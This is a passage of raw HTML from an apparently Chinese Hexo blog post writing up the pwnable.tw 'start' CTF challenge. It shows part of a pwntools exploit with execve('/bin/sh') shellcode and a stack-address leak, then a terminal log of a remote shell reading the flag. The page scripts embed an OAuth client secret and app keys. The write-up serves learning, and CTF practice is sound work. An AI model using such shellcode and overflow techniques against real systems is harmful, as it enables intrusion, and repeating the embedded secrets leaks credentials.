"line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "keyword" > from< / span > pwn < span class = "keyword" > import< / span > *< / span > < br > < span class = "line" > < span class = "keyword" > from< / span > binascii < span class = "keyword" > import< / span > *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > shellcode=< span class = "string" > '''< / span > < / span > < br > < span class = "line" > < span class = "string" > xor eax,eax< / span > < / span > < br > < span class = "line" > < span class = "string" > push eax< / span > < / span > < br > < span class = "line" > < span class = "string" > push %s< / span > < / span > < br > < span class = "line" > < span class = "string" > push %s< / span > < / span > < br > < span class = "line" > < span class = "string" > mov ebx, esp< / span > < / span > < br > < span class = "line" > < span class = "string" > xor ecx,ecx< / span > < / span > < br > < span class = "line" > < span class = "string" > xor edx,edx< / span > < / span > < br > < span class = "line" > < span class = "string" > mov al, 0xb< / span > < / span > < br > < span class = "line" > < span class = "string" > int 0x80'''< / span > %(u32(< span class = "string" > '/sh\0'< / span > ),u32(< span class = "string" > '/bin'< / span > ))< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > def< / span > < span class = "title" > dbg< / span > < span class = "params" > ()< / span > :< / span > < / span > < br > < span class = "line" > p = process(< span class = "string" > './start'< / span > )< / span > < br > < span class = "line" > context.terminal = [< span class = "string" > 'gnome-terminal'< / span > , < span class = "string" > '-x'< / span > , < span class = "string" > 'sh'< / span > , < span class = "string" > '-c'< / span > ]< / span > < br > < span class = "line" > context.log_level = < span class = "string" > 'debug'< / span > < / span > < br > < span class = "line" > gdb.attach(proc.pidof(p)[< span class = "number" > 0< / span > ])< / span > < br > < span class = "line" > pause()< / span > < br > < span class = "line" > < span class = "keyword" > return< / span > p< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > def< / span > < span class = "title" > leak_esp< / span > < span class = "params" > (p)< / span > :< / span > < / span > < br > < span class = "line" > start = p.recvuntil(< span class = "string" > ':'< / span > )< / span > < br > < span class = "line" > payload = < span class = "string" > 'a'< / span > *< span class = "number" > 0x14< / span > + p32(< span class = "number" > 0x08048087< / span > )< / span > < br > < span class = "line" > p.send(payload)< / span > < br > < span class = "line" > saved_esp = p.recv()[:< span class = "number" > 4< / span > ]< / span > < br > < span class = "line" > < span class = "keyword" > return< / span > u32(saved_esp)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > def< / span > < span class = "title" > pwn< / span > < span class = "params" >
< figure class = "highlight shell" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > $< / span > python ./start.py< / span > < br > < span class = "line" > [+] Opening connection to chall.pwnable.tw on port 10000: Done< / span > < br > < span class = "line" > leak saved_esp: 0xffb43704< / span > < br > < span class = "line" > [*] Switching to interactive mode< / span > < br > < span class = "line" > < span class = "meta" > $< / span > whoami< / span > < br > < span class = "line" > start< / span > < br > < span class = "line" > < span class = "meta" > $< / span > find -name flag< / span > < br > < span class = "line" > ./home/start/flag< / span > < br > < span class = "line" > < span class = "meta" > $< / span > cat ./home/start/flag< / span > < br > < span class = "line" > FLAG{ Pwn4bl3_tW_1s_y0ur_st4rt} < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h2 id = "REF" > < a href = "#REF" class = "headerlink" title = "REF" > < / a > REF< / h2 > < p > < a href = "https://introspelliam.github.io/2017/08/06/pwn/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/" target = "_blank" rel = "noopener" > Linux 系统调用< / a > < / p >
< p > < strong > pwntools使用< / strong > < br > < a href = "http://brieflyx.me/2015/python-module/pwntools-intro/" target = "_blank" rel = "noopener" > http://brieflyx.me/2015/python-module/pwntools-intro/< / a > < br > < a href = "https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/" target = "_blank" rel = "noopener" > https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/< / a > < br > < a href = "https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/" target = "_blank" rel = "noopener" > https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/< / a > < / p >
< / div >
< div >
< div style = "padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;" >
< div > 您的支持将鼓励我继续创作!< / div >
< button id = "rewardButton" disable = "enable" onclick = "var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}" >
< span > 打赏< / span >
< / button >
< div id = "QR" style = "display: none;" >
< div id = "wechat" style = "display: inline-block" >
< img id = "wechat_qr" src = "/images/Wechatpay.png" alt = "Cool-Y 微信支付" >
< p > 微信支付< / p >
< / div >
< div id = "alipay" style = "display: inline-block" >
< img id = "alipay_qr" src = "/images/Alipay.png" alt = "Cool-Y 支付宝" >
< p > 支付宝< / p >
< / div >
< / div >
< / div >
< / div >
< footer class = "post-footer" >
< div class = "post-tags" >
< a href = "/tags/二进制/" rel = "tag" > # 二进制< / a >
< a href = "/tags/Linux/" rel = "tag" > # Linux< / a >
< a href = "/tags/CTF/" rel = "tag" > # CTF< / a >
< / div >
< div class = "post-nav" >
< div class = "post-nav-next post-nav-item" >
< a href = "/2019/07/25/Debug-a-router-firmware/" rel = "next" title = "远程调试小米路由器固件" >
< i class = "fa fa-chevron-left" > < / i > 远程调试小米路由器固件
< / a >
< / div >
< span class = "post-nav-divider" > < / span >
< div class = "post-nav-prev post-nav-item" >
2019-11-12 13:07:08 +00:00
< a href = "/2019/11/12/web-information-collect/" rel = "prev" title = "【web】信息收集" >
【web】信息收集 < i class = "fa fa-chevron-right" > < / i >
< / a >
2019-10-25 13:13:53 +00:00
< / div >
< / div >
< / footer >
< / div >
< / article >
< div class = "post-spread" >
< / div >
< / div >
< / div >
< div class = "comments" id = "comments" >
< div id = "gitment-container" > < / div >
< / div >
< / div >
< div class = "sidebar-toggle" >
< div class = "sidebar-toggle-line-wrap" >
< span class = "sidebar-toggle-line sidebar-toggle-line-first" > < / span >
< span class = "sidebar-toggle-line sidebar-toggle-line-middle" > < / span >
< span class = "sidebar-toggle-line sidebar-toggle-line-last" > < / span >
< / div >
< / div >
< aside id = "sidebar" class = "sidebar" >
< div class = "sidebar-inner" >
< ul class = "sidebar-nav motion-element" >
< li class = "sidebar-nav-toc sidebar-nav-active" data-target = "post-toc-wrap" >
文章目录
< / li >
< li class = "sidebar-nav-overview" data-target = "site-overview-wrap" >
站点概览
< / li >
< / ul >
< section class = "site-overview-wrap sidebar-panel" >
< div class = "site-overview" >
< div class = "site-author motion-element" itemprop = "author" itemscope itemtype = "http://schema.org/Person" >
< img class = "site-author-image" itemprop = "image" src = "/images/avatar.png" alt = "Cool-Y" >
< p class = "site-author-name" itemprop = "name" > Cool-Y< / p >
< p class = "site-description motion-element" itemprop = "description" > 没人比我更懂中医#MAGA< / p >
< / div >
< nav class = "site-state motion-element" >
< div class = "site-state-item site-state-posts" >
< a href = "/archives/" >
2021-01-08 08:35:03 +00:00
< span class = "site-state-item-count" > 28< / span >
2019-10-25 13:13:53 +00:00
< span class = "site-state-item-name" > 日志< / span >
< / a >
< / div >
< div class = "site-state-item site-state-categories" >
< a href = "/categories/index.html" >
< span class = "site-state-item-count" > 7< / span >
< span class = "site-state-item-name" > 分类< / span >
< / a >
< / div >
< div class = "site-state-item site-state-tags" >
< a href = "/tags/index.html" >
2021-01-08 08:35:03 +00:00
< span class = "site-state-item-count" > 52< / span >
2019-10-25 13:13:53 +00:00
< span class = "site-state-item-name" > 标签< / span >
< / a >
< / div >
< / nav >
< div class = "links-of-author motion-element" >
< span class = "links-of-author-item" >
< a href = "https://github.com/Cool-Y" target = "_blank" title = "GitHub" >
< i class = "fa fa-fw fa-github" > < / i > GitHub< / a >
< / span >
< span class = "links-of-author-item" >
< a href = "mailto:cool.yim@whu.edu.cn" target = "_blank" title = "E-Mail" >
< i class = "fa fa-fw fa-envelope" > < / i > E-Mail< / a >
< / span >
< span class = "links-of-author-item" >
< a href = "https://www.instagram.com/yan__han/" target = "_blank" title = "Instagram" >
< i class = "fa fa-fw fa-instagram" > < / i > Instagram< / a >
< / span >
< / div >
< div id = "music163player" >
< iframe frameborder = "no" border = "0" marginwidth = "0" marginheight = "0" width = "330" height = "450" src = "//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=430" > < / iframe >
< / div >
< / div >
< / section >
<!-- noindex -->
< section class = "post-toc-wrap motion-element sidebar-panel sidebar-panel-active" >
< div class = "post-toc" >
< div class = "post-toc-content" > < ol class = "nav" > < li class = "nav-item nav-level-1" > < a class = "nav-link" href = "#Pwnable-tw-start" > < span class = "nav-text" > Pwnable.tw start< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#0x01-检查保护情况" > < span class = "nav-text" > 0x01 检查保护情况< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#0x02-漏洞分析" > < span class = "nav-text" > 0x02 漏洞分析< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#INT-80h-系统调用方法" > < span class = "nav-text" > INT 80h 系统调用方法< / span > < / a > < / li > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#栈变化情况" > < span class = "nav-text" > 栈变化情况< / span > < / a > < / li > < / ol > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#0x03-漏洞利用" > < span class = "nav-text" > 0x03 漏洞利用< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#利用思路" > < span class = "nav-text" > 利用思路< / span > < / a > < / li > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#Catch-THE-FLAG" > < span class = "nav-text" > Catch THE FLAG< / span > < / a > < / li > < / ol > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#REF" > < span class = "nav-text" > REF< / span > < / a > < / li > < / ol > < / li > < / ol > < / div >
< / div >
< / section >
<!-- /noindex -->
< / div >
< / aside >
< / div >
< / main >
< footer id = "footer" class = "footer" >
< div class = "footer-inner" >
2021-01-08 04:26:24 +00:00
< div class = "copyright" > © 2019 — < span itemprop = "copyrightYear" > 2021< / span >
2019-10-25 13:13:53 +00:00
< span class = "with-love" >
< i class = "fa fa-user" > < / i >
< / span >
< span class = "author" itemprop = "copyrightHolder" > Cool-Y< / span >
< span class = "post-meta-divider" > |< / span >
< span class = "post-meta-item-icon" >
< i class = "fa fa-area-chart" > < / i >
< / span >
2021-01-08 08:35:03 +00:00
< span title = "Site words total count" > 100.2k< / span >
2019-10-25 13:13:53 +00:00
< / div >
< div class = "powered-by" > 由 < a class = "theme-link" target = "_blank" href = "https://hexo.io" > Hexo< / a > 强力驱动< / div >
< div class = "busuanzi-count" >
< script async src = "//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js" > < / script >
< span class = "site-uv" >
< i class = "fa fa-user" > < / i >
< span class = "busuanzi-value" id = "busuanzi_value_site_uv" > < / span >
< / span >
< span class = "site-pv" >
< i class = "fa fa-eye" > < / i >
< span class = "busuanzi-value" id = "busuanzi_value_site_pv" > < / span >
< / span >
< / div >
< / div >
< / footer >
< div class = "back-to-top" >
< i class = "fa fa-arrow-up" > < / i >
< / div >
< / div >
< script type = "text/javascript" >
if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
window.Promise = null;
}
< / script >
< script type = "text/javascript" src = "/lib/jquery/index.js?v=2.1.3" > < / script >
< script type = "text/javascript" src = "/lib/fastclick/lib/fastclick.min.js?v=1.0.6" > < / script >
< script type = "text/javascript" src = "/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7" > < / script >
< script type = "text/javascript" src = "/lib/velocity/velocity.min.js?v=1.2.1" > < / script >
< script type = "text/javascript" src = "/lib/velocity/velocity.ui.min.js?v=1.2.1" > < / script >
< script type = "text/javascript" src = "/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5" > < / script >
< script type = "text/javascript" src = "/js/src/utils.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/motion.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/affix.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/schemes/pisces.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/scrollspy.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/post-details.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/bootstrap.js?v=5.1.4" > < / script >
<!-- LOCAL: You can save these files to your site and update links -->
< link rel = "stylesheet" href = "https://jjeejj.github.io/css/gitment.css" >
< script src = "https://jjeejj.github.io/js/gitment.js" > < / script >
<!-- END LOCAL -->
< script type = "text/javascript" >
function renderGitment(){
var gitment = new Gitment({
id: window.location.pathname,
owner: 'Cool-Y',
repo: 'gitment-comments',
oauth: {
client_secret: '1c5db4da72df5e6fc318d12afe5f4406f7c54343',
client_id: '180955a2c3ae3d966d9a'
}});
gitment.render('gitment-container');
}
renderGitment();
< / script >
< script src = "https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js" > < / script >
< script > AV . initialize ( "EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz" , "x8FxDrYG79C8YFrTww9ljo8K" ) ; < / script >
< script >
function showTime(Counter) {
var query = new AV.Query(Counter);
var entries = [];
var $visitors = $(".leancloud_visitors");
$visitors.each(function () {
entries.push( $(this).attr("id").trim() );
});
query.containedIn('url', entries);
query.find()
.done(function (results) {
var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
if (results.length === 0) {
$visitors.find(COUNT_CONTAINER_REF).text(0);
return;
}
for (var i = 0; i < results.length ; i + + ) {
var item = results[i];
var url = item.get('url');
var time = item.get('time');
var element = document.getElementById(url);
$(element).find(COUNT_CONTAINER_REF).text(time);
}
for(var i = 0; i < entries.length ; i + + ) {
var url = entries[i];
var element = document.getElementById(url);
var countSpan = $(element).find(COUNT_CONTAINER_REF);
if( countSpan.text() == '') {
countSpan.text(0);
}
}
})
.fail(function (object, error) {
console.log("Error: " + error.code + " " + error.message);
});
}
function addCount(Counter) {
var $visitors = $(".leancloud_visitors");
var url = $visitors.attr('id').trim();
var title = $visitors.attr('data-flag-title').trim();
var query = new AV.Query(Counter);
query.equalTo("url", url);
query.find({
success: function(results) {
if (results.length > 0) {
var counter = results[0];
counter.fetchWhenSave(true);
counter.increment("time");
counter.save(null, {
success: function(counter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(counter.get('time'));
},
error: function(counter, error) {
console.log('Failed to save Visitor num, with error message: ' + error.message);
}
});
} else {
var newcounter = new Counter();
/* Set ACL */
var acl = new AV.ACL();
acl.setPublicReadAccess(true);
acl.setPublicWriteAccess(true);
newcounter.setACL(acl);
/* End Set ACL */
newcounter.set("title", title);
newcounter.set("url", url);
newcounter.set("time", 1);
newcounter.save(null, {
success: function(newcounter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
},
error: function(newcounter, error) {
console.log('Failed to create');
}
});
}
},
error: function(error) {
console.log('Error:' + error.code + " " + error.message);
}
});
}
$(function() {
var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
} else if ($('.post-title-link').length > 1) {
showTime(Counter);
}
});
< / script >
< script >
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
< / script >
< / body >
< / html >